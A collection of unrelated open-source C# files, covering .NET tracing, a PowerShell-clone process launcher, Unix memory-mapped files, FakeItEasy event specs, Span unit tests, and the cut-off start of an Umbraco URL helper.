/// in the <see cref='System.Diagnostics.Trace.Listeners'/> collection.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Write(string message, string category)
{
TraceInternal.Write(message, category);
}
/// <devdoc>
/// <para>Writes a category name and the name of the value parameter to the trace listeners
/// in the <see cref='System.Diagnostics.Trace.Listeners'/> collection.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Write(object value, string category)
{
TraceInternal.Write(value, category);
}
/// <devdoc>
/// <para>Writes a message followed by a line terminator to the
/// trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection.
/// The default line terminator is a carriage return followed by a line feed (\r\n).</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteLine(string message)
{
TraceInternal.WriteLine(message);
}
/// <devdoc>
/// <para>Writes the name of the <paramref name="value "/> parameter followed by a line terminator to the trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection. The default line
/// terminator is a carriage return followed by a line feed (\r\n).</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteLine(object value)
{
TraceInternal.WriteLine(value);
}
/// <devdoc>
/// <para>Writes a category name and message followed by a line terminator to the trace
/// listeners in the <see cref='System.Diagnostics.Trace.Listeners'/>
/// collection. The default line terminator is a carriage return followed by a line
/// feed (\r\n).</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteLine(string message, string category)
{
TraceInternal.WriteLine(message, category);
}
/// <devdoc>
/// <para>Writes a <paramref name="category "/>name and the name of the <paramref name="value "/> parameter followed by a line
/// terminator to the trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection. The default line
/// terminator is a carriage return followed by a line feed (\r\n).</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteLine(object value, string category)
{
TraceInternal.WriteLine(value, category);
}
/// <devdoc>
/// <para>Writes a message to the trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection
/// if a condition is <see langword='true'/>.</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteIf(bool condition, string message)
{
TraceInternal.WriteIf(condition, message);
}
/// <devdoc>
/// <para>Writes the name of the <paramref name="value "/>
/// parameter to the trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection if a condition is
/// <see langword='true'/>. </para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteIf(bool condition, object value)
{
TraceInternal.WriteIf(condition, value);
}
/// <devdoc>
/// <para>Writes a category name and message to the trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/>
/// collection if a condition is <see langword='true'/>. </para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteIf(bool condition, string message, string category)
{
TraceInternal.WriteIf(condition, message, category);
}
/// <devdoc>
/// <para>Writes a category name and the name of the <paramref name="value"/> parameter to the trace
/// listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection
/// if a condition is <see langword='true'/>. </para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteIf(bool condition, object value, string category)
{
TraceInternal.WriteIf(condition, value, category);
}
/// <devdoc>
/// <para>Writes a message followed by a line terminator to the trace listeners in the
/// <see cref='System.Diagnostics.Trace.Listeners'/> collection if a condition is
/// <see langword='true'/>. The default line terminator is a carriage return followed
/// by a line feed (\r\n).</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteLineIf(bool condition, string message)
{
TraceInternal.WriteLineIf(condition, message);
}
/// <devdoc>
/// <para>Writes the name of the <paramref name="value"/> parameter followed by a line terminator to the
/// trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection
/// if a condition is
/// <see langword='true'/>. The default line
/// terminator is a carriage return followed by a line feed (\r\n).</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteLineIf(bool condition, object value)
{
TraceInternal.WriteLineIf(condition, value);
}
/// <devdoc>
/// <para>Writes a category name and message followed by a line terminator to the trace
/// listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection if a condition is
/// <see langword='true'/>. The default line terminator is a carriage return followed by a line feed (\r\n).</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteLineIf(bool condition, string message, string category)
{
TraceInternal.WriteLineIf(condition, message, category);
}
/// <devdoc>
/// <para>Writes a category name and the name of the <paramref name="value "/> parameter followed by a line
/// terminator to the trace listeners in the <see cref='System.Diagnostics.Trace.Listeners'/> collection
/// if a <paramref name="condition"/> is <see langword='true'/>. The
/// default line terminator is a carriage return followed by a line feed (\r\n).</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void WriteLineIf(bool condition, object value, string category)
{
TraceInternal.WriteLineIf(condition, value, category);
}
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Indent()
{
TraceInternal.Indent();
}
/// <devdoc>
/// <para>[To be supplied.]</para>
/// </devdoc>
[System.Diagnostics.Conditional("TRACE")]
public static void Unindent()
{
TraceInternal.Unindent();
}
}
}
| |
// Copyright (C) Pash Contributors. License: GPL/BSD. See https://github.com/Pash-Project/Pash/
using System;
using System.Collections;
using System.Diagnostics;
using System.Management.Automation;
using System.Runtime.InteropServices;
using System.Text;
using Pash.Implementation.Native;
namespace Pash.Implementation
{
/// <summary>
/// Command processor for the application command. This is command for executing external file.
/// </summary>
internal class ApplicationProcessor : CommandProcessorBase
{
private Process _process;
private bool _shouldBlock;
public ApplicationProcessor(ApplicationInfo commandInfo)
: base(commandInfo)
{
}
public static bool NeedWaitForProcess(bool? forceSynchronize, string executablePath)
{
return (forceSynchronize ?? false) || IsConsoleSubsystem(executablePath);
}
public static bool IsConsoleSubsystem(string executablePath)
{
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
{
// Under UNIX all applications are effectively console.
return true;
}
var info = new Shell32.SHFILEINFO();
var executableType = (uint)Shell32.SHGetFileInfo(executablePath, 0u, ref info, (uint)Marshal.SizeOf(info), Shell32.SHGFI_EXETYPE);
return executableType == Shell32.MZ || executableType == Shell32.PE;
}
public override void Prepare()
{
// nothing to do, applcation is completely executed in the ProcessRecords phas
}
public override void BeginProcessing()
{
// nothing to do
}
public override void ProcessRecords()
{
// TODO: make a check if process is already started. ProcessRecords() can be called multiple times
var flag = GetPSForceSynchronizeProcessOutput();
_shouldBlock = NeedWaitForProcess(flag, ApplicationInfo.Path);
_process = StartProcess();
foreach (var curInput in CommandRuntime.InputStream.Read())
{
if (curInput != null)
{
_process.StandardInput.WriteLine(curInput.ToString());
}
}
if (!_shouldBlock)
{
return;
}
if (!ExecutionContext.WriteSideEffectsToPipeline)
{
// TODO: Ctrl-C cancellation?
_process.WaitForExit();
return;
}
var output = _process.StandardOutput;
while (!output.EndOfStream)
{
var line = output.ReadLine();
CommandRuntime.WriteObject(line);
}
}
public override void EndProcessing()
{
// As the process can run asynchronous, cleanup is handled by ProcessExited
}
private ApplicationInfo ApplicationInfo
{
get
{
return (ApplicationInfo)CommandInfo;
}
}
private void ProcessExited(object sender, System.EventArgs e)
{
ExecutionContext.SetLastExitCodeVariable(_process.ExitCode);
ExecutionContext.SetSuccessVariable(_process.ExitCode == 0); // PS also just compares against null
_process.Dispose();
_process = null;
}
private bool? GetPSForceSynchronizeProcessOutput()
{
var variable = ExecutionContext.GetVariable(PashVariables.ForceSynchronizeProcessOutput) as PSVariable;
if (variable == null)
{
return null;
}
var value = variable.Value;
var psObject = value as PSObject;
if (psObject == null)
{
return value as bool?;
}
else
{
return psObject.BaseObject as bool?;
}
}
private Process StartProcess()
{
var startInfo = new ProcessStartInfo(ApplicationInfo.Path)
{
Arguments = PrepareArguments(),
UseShellExecute = false,
RedirectStandardOutput = ExecutionContext.WriteSideEffectsToPipeline
};
var process = new Process
{
StartInfo = startInfo
};
process.Exited += new EventHandler(ProcessExited);
if (!process.Start())
{
throw new Exception("Cannot start process");
}
return process;
}
private string PrepareArguments()
{
var arguments = new StringBuilder();
foreach (var parameter in Parameters)
{
// PowerShell quotes any arguments that contain spaces except the arguments that start with a quote.
// also: in parameter.Name are arguments that started with "-", so we need to use them again
if (!String.IsNullOrEmpty(parameter.Name))
{
arguments.Append('-');
arguments.Append(parameter.Name); // parameter names don't hava a whitespace
arguments.Append(' ');
}
if (parameter.Value != null)
{
object pValue = parameter.Value;
if (pValue is PSObject)
{
pValue = ((PSObject)pValue).BaseObject;
}
IEnumerable values;
if (pValue is IEnumerable &&
!(pValue is string))
{
values = (IEnumerable)pValue;
}
else
{
values = new object[] { pValue };
}
foreach (var value in values)
{
var argument = value.ToString();
if (argument.Contains(" ") && !argument.StartsWith("\""))
{
arguments.AppendFormat("\"{0}\"", argument);
}
else
{
arguments.Append(argument);
}
arguments.Append(' ');
}
}
}
return arguments.ToString();
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.Win32.SafeHandles;
using System.Security;
namespace System.IO.MemoryMappedFiles
{
public partial class MemoryMappedFile
{
/// <summary>
/// Used by the 2 Create factory method groups. A null fileHandle specifies that the
/// memory mapped file should not be associated with an existing file on disk (i.e. start
/// out empty).
/// </summary>
private static unsafe SafeMemoryMappedFileHandle CreateCore(
FileStream fileStream, string mapName,
HandleInheritability inheritability, MemoryMappedFileAccess access,
MemoryMappedFileOptions options, long capacity)
{
if (mapName != null)
{
// Named maps are not supported in our Unix implementation. We could support named maps on Linux using
// shared memory segments (shmget/shmat/shmdt/shmctl/etc.), but that doesn't work on OSX by default due
// to very low default limits on OSX for the size of such objects; it also doesn't support behaviors
// like copy-on-write or the ability to control handle inheritability, and reliably cleaning them up
// relies on some non-conforming behaviors around shared memory IDs remaining valid even after they've
// been marked for deletion (IPC_RMID). We could also support named maps using the current implementation
// by not unlinking after creating the backing store, but then the backing stores would remain around
// and accessible even after process exit, with no good way to appropriately clean them up.
// (File-backed maps may still be used for cross-process communication.)
throw CreateNamedMapsNotSupportedException();
}
bool ownsFileStream = false;
if (fileStream != null)
{
// This map is backed by a file. Make sure the file's size is increased to be
// at least as big as the requested capacity of the map.
if (fileStream.Length < capacity)
{
try
{
fileStream.SetLength(capacity);
}
catch (ArgumentException exc)
{
// If the capacity is too large, we'll get an ArgumentException from SetLength,
// but on Windows this same condition is represented by an IOException.
throw new IOException(exc.Message, exc);
}
}
}
else
{
// This map is backed by memory-only. With files, multiple views over the same map
// will end up being able to share data through the same file-based backing store;
// for anonymous maps, we need a similar backing store, or else multiple views would logically
// each be their own map and wouldn't share any data. To achieve this, we create a backing object
// (either memory or on disk, depending on the system) and use its file descriptor as the file handle.
// However, we only do this when the permission is more than read-only. We can't change the size
// of an object that has read-only permissions, but we also don't need to worry about sharing
// views over a read-only, anonymous, memory-backed map, because the data will never change, so all views
// will always see zero and can't change that. In that case, we just use the built-in anonymous support of
// the map by leaving fileStream as null.
Interop.Sys.MemoryMappedProtections protections = MemoryMappedView.GetProtections(access, forVerification: false);
if ((protections & Interop.Sys.MemoryMappedProtections.PROT_WRITE) != 0 && capacity > 0)
{
ownsFileStream = true;
fileStream = CreateSharedBackingObject(protections, capacity);
// If the MMF handle should not be inherited, mark the backing object fd as O_CLOEXEC.
if (inheritability == HandleInheritability.None)
{
Interop.CheckIo(Interop.Sys.Fcntl.SetCloseOnExec(fileStream.SafeFileHandle));
}
}
}
return new SafeMemoryMappedFileHandle(fileStream, ownsFileStream, inheritability, access, options, capacity);
}
/// <summary>
/// Used by the CreateOrOpen factory method groups.
/// </summary>
private static SafeMemoryMappedFileHandle CreateOrOpenCore(
string mapName,
HandleInheritability inheritability, MemoryMappedFileAccess access,
MemoryMappedFileOptions options, long capacity)
{
// Since we don't support mapName != null, CreateOrOpenCore can't
// be used to Open an existing map, and thus is identical to CreateCore.
return CreateCore(null, mapName, inheritability, access, options, capacity);
}
/// <summary>
/// Used by the OpenExisting factory method group and by CreateOrOpen if access is write.
/// We'll throw an ArgumentException if the file mapping object didn't exist and the
/// caller used CreateOrOpen since Create isn't valid with Write access
/// </summary>
private static SafeMemoryMappedFileHandle OpenCore(
string mapName, HandleInheritability inheritability, MemoryMappedFileAccess access, bool createOrOpen)
{
throw CreateNamedMapsNotSupportedException();
}
/// <summary>
/// Used by the OpenExisting factory method group and by CreateOrOpen if access is write.
/// We'll throw an ArgumentException if the file mapping object didn't exist and the
/// caller used CreateOrOpen since Create isn't valid with Write access
/// </summary>
private static SafeMemoryMappedFileHandle OpenCore(
string mapName, HandleInheritability inheritability, MemoryMappedFileRights rights, bool createOrOpen)
{
throw CreateNamedMapsNotSupportedException();
}
// -----------------------------
// ---- PAL layer ends here ----
// -----------------------------
/// <summary>Gets an exception indicating that named maps are not supported on this platform.</summary>
private static Exception CreateNamedMapsNotSupportedException()
{
return new PlatformNotSupportedException(SR.PlatformNotSupported_NamedMaps);
}
private static FileAccess TranslateProtectionsToFileAccess(Interop.Sys.MemoryMappedProtections protections)
{
return
(protections & (Interop.Sys.MemoryMappedProtections.PROT_READ | Interop.Sys.MemoryMappedProtections.PROT_WRITE)) != 0 ? FileAccess.ReadWrite :
(protections & (Interop.Sys.MemoryMappedProtections.PROT_WRITE)) != 0 ? FileAccess.Write :
FileAccess.Read;
}
private static FileStream CreateSharedBackingObject(Interop.Sys.MemoryMappedProtections protections, long capacity)
{
return CreateSharedBackingObjectUsingMemory(protections, capacity)
?? CreateSharedBackingObjectUsingFile(protections, capacity);
}
// -----------------------------
// ---- PAL layer ends here ----
// -----------------------------
private static FileStream CreateSharedBackingObjectUsingMemory(
Interop.Sys.MemoryMappedProtections protections, long capacity)
{
// The POSIX shared memory object name must begin with '/'. After that we just want something short and unique.
string mapName = "/corefx_map_" + Guid.NewGuid().ToString("N");
// Determine the flags to use when creating the shared memory object
Interop.Sys.OpenFlags flags = (protections & Interop.Sys.MemoryMappedProtections.PROT_WRITE) != 0 ?
Interop.Sys.OpenFlags.O_RDWR :
Interop.Sys.OpenFlags.O_RDONLY;
flags |= Interop.Sys.OpenFlags.O_CREAT | Interop.Sys.OpenFlags.O_EXCL; // CreateNew
// Determine the permissions with which to create the file
Interop.Sys.Permissions perms = default(Interop.Sys.Permissions);
if ((protections & Interop.Sys.MemoryMappedProtections.PROT_READ) != 0)
perms |= Interop.Sys.Permissions.S_IRUSR;
if ((protections & Interop.Sys.MemoryMappedProtections.PROT_WRITE) != 0)
perms |= Interop.Sys.Permissions.S_IWUSR;
if ((protections & Interop.Sys.MemoryMappedProtections.PROT_EXEC) != 0)
perms |= Interop.Sys.Permissions.S_IXUSR;
// Create the shared memory object.
SafeFileHandle fd = Interop.Sys.ShmOpen(mapName, flags, (int)perms);
if (fd.IsInvalid)
{
Interop.ErrorInfo errorInfo = Interop.Sys.GetLastErrorInfo();
if (errorInfo.Error == Interop.Error.ENOTSUP)
{
// If ShmOpen is not supported, fall back to file backing object.
// Note that the System.Native shim will force this failure on platforms where
// the result of native shm_open does not work well with our subsequent call
// to mmap.
return null;
}
throw Interop.GetExceptionForIoErrno(errorInfo);
}
try
{
// Unlink the shared memory object immediately so that it'll go away once all handles
// to it are closed (as with opened then unlinked files, it'll remain usable via
// the open handles even though it's unlinked and can't be opened anew via its name).
Interop.CheckIo(Interop.Sys.ShmUnlink(mapName));
// Give it the right capacity. We do this directly with ftruncate rather
// than via FileStream.SetLength after the FileStream is created because, on some systems,
// lseek fails on shared memory objects, causing the FileStream to think it's unseekable,
// causing it to preemptively throw from SetLength.
Interop.CheckIo(Interop.Sys.FTruncate(fd, capacity));
// Wrap the file descriptor in a stream and return it.
return new FileStream(fd, TranslateProtectionsToFileAccess(protections));
}
catch
{
fd.Dispose();
throw;
}
}
private static FileStream CreateSharedBackingObjectUsingFile(Interop.Sys.MemoryMappedProtections protections, long capacity)
{
// We create a temporary backing file in TMPDIR. We don't bother putting it into subdirectories as the file exists
// extremely briefly: it's opened/created and then immediately unlinked.
string path = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString("N"));
FileAccess access =
(protections & (Interop.Sys.MemoryMappedProtections.PROT_READ | Interop.Sys.MemoryMappedProtections.PROT_WRITE)) != 0 ? FileAccess.ReadWrite :
(protections & (Interop.Sys.MemoryMappedProtections.PROT_WRITE)) != 0 ? FileAccess.Write :
FileAccess.Read;
// Create the backing file, then immediately unlink it so that it'll be cleaned up when no longer in use.
// Then enlarge it to the requested capacity.
const int DefaultBufferSize = 0x1000;
var fs = new FileStream(path, FileMode.CreateNew, TranslateProtectionsToFileAccess(protections), FileShare.ReadWrite, DefaultBufferSize);
try
{
Interop.CheckIo(Interop.Sys.Unlink(path));
fs.SetLength(capacity);
}
catch
{
fs.Dispose();
throw;
}
return fs;
}
}
}
| |
namespace FakeItEasy.Specs
{
using System;
using FluentAssertions;
using Xbehave;
public class EventActionSpecs
{
public interface IFoo
{
event EventHandler Bar;
event EventHandler Baz;
}
[Scenario]
public void AddSpecificEvent(IFoo fake, EventHandler barHandler, EventHandler bazHandler, EventHandler handlers)
{
"Given a fake"
.x(() => fake = A.Fake<IFoo>());
"And event handlers for Bar and Baz"
.x(() => (barHandler, bazHandler) = (A.Fake<EventHandler>(), A.Fake<EventHandler>()));
"And subscription to the Bar event of the fake is configured to update a delegate"
.x(() => A.CallTo(fake, EventAction.Add(nameof(IFoo.Bar))).Invokes((EventHandler h) => handlers += h));
"When the handler for Bar is subscribed to the Bar event"
.x(() => fake.Bar += barHandler);
"And the handler for Baz is subscribed to the Baz event"
.x(() => fake.Baz += bazHandler);
"Then the handler list contains the handler for Bar"
.x(() => handlers.GetInvocationList().Should().Contain(barHandler));
"And the handler list doesn't contain the handler for Baz"
.x(() => handlers.GetInvocationList().Should().NotContain(bazHandler));
}
[Scenario]
public void AddAnyEvent(IFoo fake, EventHandler barHandler, EventHandler bazHandler, EventHandler handlers)
{
"Given a fake"
.x(() => fake = A.Fake<IFoo>());
"And event handlers for Bar and Baz"
.x(() => (barHandler, bazHandler) = (A.Fake<EventHandler>(), A.Fake<EventHandler>()));
"And subscription to any event of the fake is configured to update a delegate"
.x(() => A.CallTo(fake, EventAction.Add()).Invokes((EventHandler h) => handlers += h));
"When the handler for Bar is subscribed to the Bar event"
.x(() => fake.Bar += barHandler);
"And the handler for Baz is subscribed to the Baz event"
.x(() => fake.Baz += bazHandler);
"Then the handler list contains the handler for Bar"
.x(() => handlers.GetInvocationList().Should().Contain(barHandler));
"And the handler list contains the handler for Baz"
.x(() => handlers.GetInvocationList().Should().Contain(bazHandler));
}
[Scenario]
public void RemoveSpecificEvent(IFoo fake, EventHandler barHandler, EventHandler bazHandler, EventHandler removedHandlers)
{
"Given a fake"
.x(() => fake = A.Fake<IFoo>());
"And event handlers for Bar and Baz"
.x(() => (barHandler, bazHandler) = (A.Fake<EventHandler>(), A.Fake<EventHandler>()));
"And unsubscription from the Bar event of the fake is configured to update a delegate"
.x(() => A.CallTo(fake, EventAction.Remove(nameof(IFoo.Bar))).Invokes((EventHandler h) => removedHandlers += h));
"When the handler for Bar is unsubscribed from the Bar event"
.x(() => fake.Bar -= barHandler);
"And the handler for Baz is unsubscribed from the Baz event"
.x(() => fake.Baz -= bazHandler);
"Then the removed handler list contains the handler for Bar"
.x(() => removedHandlers.GetInvocationList().Should().Contain(barHandler));
"And the removed handler list doesn't contain the handler for Baz"
.x(() => removedHandlers.GetInvocationList().Should().NotContain(bazHandler));
}
[Scenario]
public void RemoveAnyEvent(IFoo fake, EventHandler barHandler, EventHandler bazHandler, EventHandler removedHandlers)
{
"Given a fake"
.x(() => fake = A.Fake<IFoo>());
"And event handlers for Bar and Baz"
.x(() => (barHandler, bazHandler) = (A.Fake<EventHandler>(), A.Fake<EventHandler>()));
"And unsubscription from any event of the fake is configured to update a delegate"
.x(() => A.CallTo(fake, EventAction.Remove()).Invokes((EventHandler h) => removedHandlers += h));
"When the handler for Bar is unsubscribed from the Bar event"
.x(() => fake.Bar -= barHandler);
"And the handler for Baz is unsubscribed from the Baz event"
.x(() => fake.Baz -= bazHandler);
"Then the removed handler list contains the handler for Bar"
.x(() => removedHandlers.GetInvocationList().Should().Contain(barHandler));
"And the removed handler list contains the handler for Baz"
.x(() => removedHandlers.GetInvocationList().Should().Contain(bazHandler));
}
[Scenario]
public void UnnaturalFakeAddSpecificEvent(Fake<IFoo> fake, EventHandler barHandler, EventHandler bazHandler, EventHandler handlers)
{
"Given a fake"
.x(() => fake = new Fake<IFoo>());
"And event handlers for Bar and Baz"
.x(() => (barHandler, bazHandler) = (A.Fake<EventHandler>(), A.Fake<EventHandler>()));
"And subscription to the Bar event of the fake is configured to update a delegate"
.x(() => fake.CallsTo(EventAction.Add(nameof(IFoo.Bar))).Invokes((EventHandler h) => handlers += h));
"When the handler for Bar is subscribed to the Bar event"
.x(() => fake.FakedObject.Bar += barHandler);
"And the handler for Baz is subscribed to the Baz event"
.x(() => fake.FakedObject.Baz += bazHandler);
"Then the handler list contains the handler for Bar"
.x(() => handlers.GetInvocationList().Should().Contain(barHandler));
"And the handler list doesn't contain the handler for Baz"
.x(() => handlers.GetInvocationList().Should().NotContain(bazHandler));
}
[Scenario]
public void UnnaturalFakeAddAnyEvent(Fake<IFoo> fake, EventHandler barHandler, EventHandler bazHandler, EventHandler handlers)
{
"Given a fake"
.x(() => fake = new Fake<IFoo>());
"And event handlers for Bar and Baz"
.x(() => (barHandler, bazHandler) = (A.Fake<EventHandler>(), A.Fake<EventHandler>()));
"And subscription to any event of the fake is configured to update a delegate"
.x(() => fake.CallsTo(EventAction.Add()).Invokes((EventHandler h) => handlers += h));
"When the handler for Bar is subscribed to the Bar event"
.x(() => fake.FakedObject.Bar += barHandler);
"And the handler for Baz is subscribed to the Baz event"
.x(() => fake.FakedObject.Baz += bazHandler);
"Then the handler list contains the handler for Bar"
.x(() => handlers.GetInvocationList().Should().Contain(barHandler));
"And the handler list contains the handler for Baz"
.x(() => handlers.GetInvocationList().Should().Contain(bazHandler));
}
[Scenario]
public void UnnaturalFakeRemoveSpecificEvent(Fake<IFoo> fake, EventHandler barHandler, EventHandler bazHandler, EventHandler removedHandlers)
{
"Given a fake"
.x(() => fake = new Fake<IFoo>());
"And event handlers for Bar and Baz"
.x(() => (barHandler, bazHandler) = (A.Fake<EventHandler>(), A.Fake<EventHandler>()));
"And unsubscription from the Bar event of the fake is configured to update a delegate"
.x(() => fake.CallsTo(EventAction.Remove(nameof(IFoo.Bar))).Invokes((EventHandler h) => removedHandlers += h));
"When the handler for Bar is unsubscribed from the Bar event"
.x(() => fake.FakedObject.Bar -= barHandler);
"And the handler for Baz is unsubscribed from the Baz event"
.x(() => fake.FakedObject.Baz -= bazHandler);
"Then the removed handler list contains the handler for Bar"
.x(() => removedHandlers.GetInvocationList().Should().Contain(barHandler));
"And the removed handler list doesn't contain the handler for Baz"
.x(() => removedHandlers.GetInvocationList().Should().NotContain(bazHandler));
}
[Scenario]
public void UnnaturalFakeRemoveAnyEvent(Fake<IFoo> fake, EventHandler barHandler, EventHandler bazHandler, EventHandler removedHandlers)
{
"Given a fake"
.x(() => fake = new Fake<IFoo>());
"And event handlers for Bar and Baz"
.x(() => (barHandler, bazHandler) = (A.Fake<EventHandler>(), A.Fake<EventHandler>()));
"And unsubscription from any event of the fake is configured to update a delegate"
.x(() => fake.CallsTo(EventAction.Remove()).Invokes((EventHandler h) => removedHandlers += h));
"When the handler for Bar is unsubscribed from the Bar event"
.x(() => fake.FakedObject.Bar -= barHandler);
"And the handler for Baz is unsubscribed from the Baz event"
.x(() => fake.FakedObject.Baz -= bazHandler);
"Then the removed handler list contains the handler for Bar"
.x(() => removedHandlers.GetInvocationList().Should().Contain(barHandler));
"And the removed handler list contains the handler for Baz"
.x(() => removedHandlers.GetInvocationList().Should().Contain(bazHandler));
}
}
}
| |
// Copyright (c) Microsoft. All rights reserved.
// Licensed under the MIT license. See LICENSE file in the project root for full license information.
using System;
using Xunit;
using Xunit.Abstractions;
public class Tests
{
private readonly ITestOutputHelper output;
public Tests(ITestOutputHelper output)
{
this.output = output;
}
[Fact]
public void TwoSpansCreatedOverSameIntArrayAreEqual()
{
for (int i = 0; i < 2; i++)
{
var ints = new int[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
// Try out two ways of creating a slice:
Span<int> slice;
if (i == 0)
{
slice = new Span<int>(ints);
}
else
{
slice = ints.AsSpan();
}
Assert.Equal(ints.Length, slice.Length);
for (int j = 0; j < ints.Length; j++)
{
Assert.Equal(ints[j], slice[j]);
}
}
}
[Fact]
public void TwoReadOnlySpansCreatedOverSameIntArrayAreEqual()
{
for (int i = 0; i < 2; i++)
{
var ints = new int[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
// Try out two ways of creating a slice:
ReadOnlySpan<int> slice;
if (i == 0)
{
slice = new ReadOnlySpan<int>(ints);
}
else
{
slice = ints.AsSpan();
}
Assert.Equal(ints.Length, slice.Length);
for (int j = 0; j < ints.Length; j++)
{
Assert.Equal(ints[j], slice[j]);
}
}
}
[Fact]
public void TwoSpansCreatedOverSameStringsAreEqual()
{
var str = "Hello, Slice!";
ReadOnlySpan<char> slice = str.AsReadOnlySpan();
Assert.Equal(str.Length, slice.Length);
for (int j = 0; j < str.Length; j++)
{
Assert.Equal(str[j], slice[j]);
}
}
[Fact]
public void TwoSpansCreatedOverSameByteArayAreEqual()
{
unsafe
{
byte* buffer = stackalloc byte[256];
for (int i = 0; i < 256; i++) { buffer[i] = (byte)i; }
Span<byte> slice = new Span<byte>(buffer, 256);
Assert.Equal(256, slice.Length);
for (int j = 0; j < slice.Length; j++)
{
Assert.Equal(buffer[j], slice[j]);
}
}
}
[Fact]
public void TwoReadOnlySpansCreatedOverSameByteArayAreEqual()
{
unsafe
{
byte* buffer = stackalloc byte[256];
for (int i = 0; i < 256; i++) { buffer[i] = (byte)i; }
ReadOnlySpan<byte> slice = new ReadOnlySpan<byte>(buffer, 256);
Assert.Equal(256, slice.Length);
for (int j = 0; j < slice.Length; j++)
{
Assert.Equal(buffer[j], slice[j]);
}
}
}
[Fact]
public void TwoSpansCreatedOverSameIntSubarrayAreEqual()
{
var slice = new[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }.AsSpan();
// First a simple subslice over the whole array, using start.
{
var subslice1 = slice.Slice(0);
Assert.Equal(slice.Length, subslice1.Length);
for (int i = 0; i < slice.Length; i++)
{
Assert.Equal(slice[i], subslice1[i]);
}
}
// Next a simple subslice over the whole array, using start and end.
{
var subslice2 = slice.Slice(0, slice.Length);
Assert.Equal(slice.Length, subslice2.Length);
for (int i = 0; i < slice.Length; i++)
{
Assert.Equal(slice[i], subslice2[i]);
}
}
// Now do something more interesting; just take half the array.
{
int mid = slice.Length / 2;
var subslice3 = slice.Slice(mid);
Assert.Equal(mid, subslice3.Length);
for (int i = mid, j = 0; i < slice.Length; i++, j++)
{
Assert.Equal(slice[i], subslice3[j]);
}
}
// Now take a hunk out of the middle.
{
int st = 3;
int ed = 7;
var subslice4 = slice.Slice(st, 4);
Assert.Equal(ed - st, subslice4.Length);
for (int i = ed, j = 0; i < ed; i++, j++)
{
Assert.Equal(slice[i], subslice4[j]);
}
}
}
[Fact]
public bool TestPerfLoop()
{
var ints = new int[10000];
Random r = new Random(1234);
for (int i = 0; i < ints.Length; i++) { ints[i] = r.Next(); }
Tester.CleanUpMemory();
var sw = System.Diagnostics.Stopwatch.StartNew();
int x = 0;
for (int i = 0; i < 10000; i++)
{
for (int j = 0; j < ints.Length; j++)
{
x += ints[i];
}
}
sw.Stop();
output.WriteLine(" - ints : {0}", sw.Elapsed);
Tester.CleanUpMemory();
var slice = ints.AsSpan();
sw.Reset();
sw.Start();
int y = 0;
for (int i = 0; i < 10000; i++)
{
for (int j = 0; j < slice.Length; j++)
{
y += slice[i];
}
}
sw.Stop();
output.WriteLine(" - slice: {0}", sw.Elapsed);
Assert.Equal(x, y);
return true;
}
}
| |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.Extensions.Logging;
using Umbraco.Cms.Core;
using Umbraco.Cms.Core.Models;
using Umbraco.Cms.Core.Models.PublishedContent;
using Umbraco.Cms.Core.Routing;
using Umbraco.Cms.Core.Services;
using Umbraco.Cms.Core.Web;
namespace Umbraco.Extensions
{
public static class UrlProviderExtensions
{
/// <summary>
/// Gets the URLs of the content item.
/// </summary>
/// <remarks>
/// <para>Use when displaying URLs. If errors occur when generating the URLs, they will show in the list.</para>
/// <para>Contains all the URLs that we can figure out (based upon domains, etc).</para>
/// </remarks>
public static async Task<IEnumerable<UrlInfo>> GetContentUrlsAsync(
this IContent content,
IPublishedRouter publishedRouter,
IUmbracoContext umbracoContext,
ILocalizationService localizationService,
ILocalizedTextService textService,
IContentService contentService,
IVariationContextAccessor variationContextAccessor,
ILogger<IContent> logger,
UriUtility uriUtility,
IPublishedUrlProvider publishedUrlProvider)
{
if (content == null)
{
throw new ArgumentNullException(nameof(content));
}
if (publishedRouter == null)
{
throw new ArgumentNullException(nameof(publishedRouter));
}
if (umbracoContext == null)
{
throw new ArgumentNullException(nameof(umbracoContext));
}
if (localizationService == null)
{
throw new ArgumentNullException(nameof(localizationService));
}
if (textService == null)
{
throw new ArgumentNullException(nameof(textService));
}
if (contentService == null)
{
throw new ArgumentNullException(nameof(contentService));
}
if (logger == null)
{
throw new ArgumentNullException(nameof(logger));
}
if (publishedUrlProvider == null)
{
throw new ArgumentNullException(nameof(publishedUrlProvider));
}
if (uriUtility == null)
{
throw new ArgumentNullException(nameof(uriUtility));
}
if (variationContextAccessor == null)
{
throw new ArgumentNullException(nameof(variationContextAccessor));
}
